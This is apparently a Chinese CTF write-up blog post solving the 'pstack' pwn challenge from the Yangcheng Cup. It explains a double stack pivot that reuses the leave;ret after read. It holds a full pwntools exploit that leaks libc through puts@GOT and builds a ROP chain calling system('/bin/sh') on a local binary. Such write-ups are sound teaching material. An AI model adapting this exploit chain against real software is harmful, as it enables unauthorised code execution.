羊城杯比赛pwn复现


title: 羊城杯比赛pwn复现
date: 2024-09-05 20:12:19
categories: ctf-比赛复现

首先推荐这个博客

本篇学习的思路来自这个大佬

实力有限,只复现出了pstack这一题

pstack

在这里插入图片描述
在这里插入图片描述

知识点

这个题目是个很经典的栈迁移的题目,因为栈溢出的空间不够,但是常规的栈迁移一般有方法获得一个地址来进行leave_ret

这个题目有个很妙的点
在这里插入图片描述

这里call 完read后面有一个leave_ret(平时没注意过)

本题的核心就在于对这里进行反复利用

题解

在这里插入图片描述

由于leave_ret这
个指令

两次这样就可以控制rbp 和rsp

这里重点讲下调用vuln_read这个函数后面的过程

这里我们动态调试

from pwn import *
from LibcSearcher import *
context(log_level='debug')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
gdb.attach(p)
pause()
payload=b'a'*0x30+p64(bss+0x30)+p64(read)
p.send(payload)
payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
pause()
p.sendline(payload)
p.interactive()

第二个payload是我cyclic 64生成的垃圾数据,主要看函数执行的地址到哪

在这里插入图片描述

这里可以看到这个还是在0x30后面进行的溢出地址

下面接着调试

from pwn import *
from LibcSearcher import *
context(log_level='debug')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
payload=b'a'*0x30+p64(bss+0x30)+p64(read)

gdb.attach(p)
pause()

p.sendafter(b'overflow?',payload)



#第二次的栈迁移,泄露地址
payload=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(pop_rbp)
payload+=p64(bss+0x200+0x30)
payload+=p64(read)
payload+=p64(bss-0x8)
payload+=p64(leave_ret)
pause()
p.send(payload)
p.recv()
leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))-libc.symbols['puts']
print(hex(leak_addr))

libc_base=leak_addr

read=leak_addr+libc.sym['write']
print(hex(read))

bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']

payload=b'aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggg'

pause()
p.send(payload)

p.interactive()    

在这里插入图片描述

可以看到在rbpgggggggg卡住了

所以

在这里leave_ret

exp 如下

from pwn import *
from LibcSearcher import *
context(log_level='debug')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
payload=b'a'*0x30+p64(bss+0x30)+p64(read)

gdb.attach(p)
pause()

p.sendafter(b'overflow?',payload)



#第二次的栈迁移,泄露地址
payload=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(pop_rbp)
payload+=p64(bss+0x200+0x30)
payload+=p64(read)
payload+=p64(bss-0x8)
payload+=p64(leave_ret)
pause()
p.send(payload)
p.recv()
leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))-libc.symbols['puts']
print(hex(leak_addr))

libc_base=leak_addr

read=leak_addr+libc.sym['write']
print(hex(read))

bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']

payload=(p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)).ljust(0x30,b'\x00')
payload+=p64(bss+0x200-0x8)+p64(leave_ret)
pause()
p.send(payload)

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值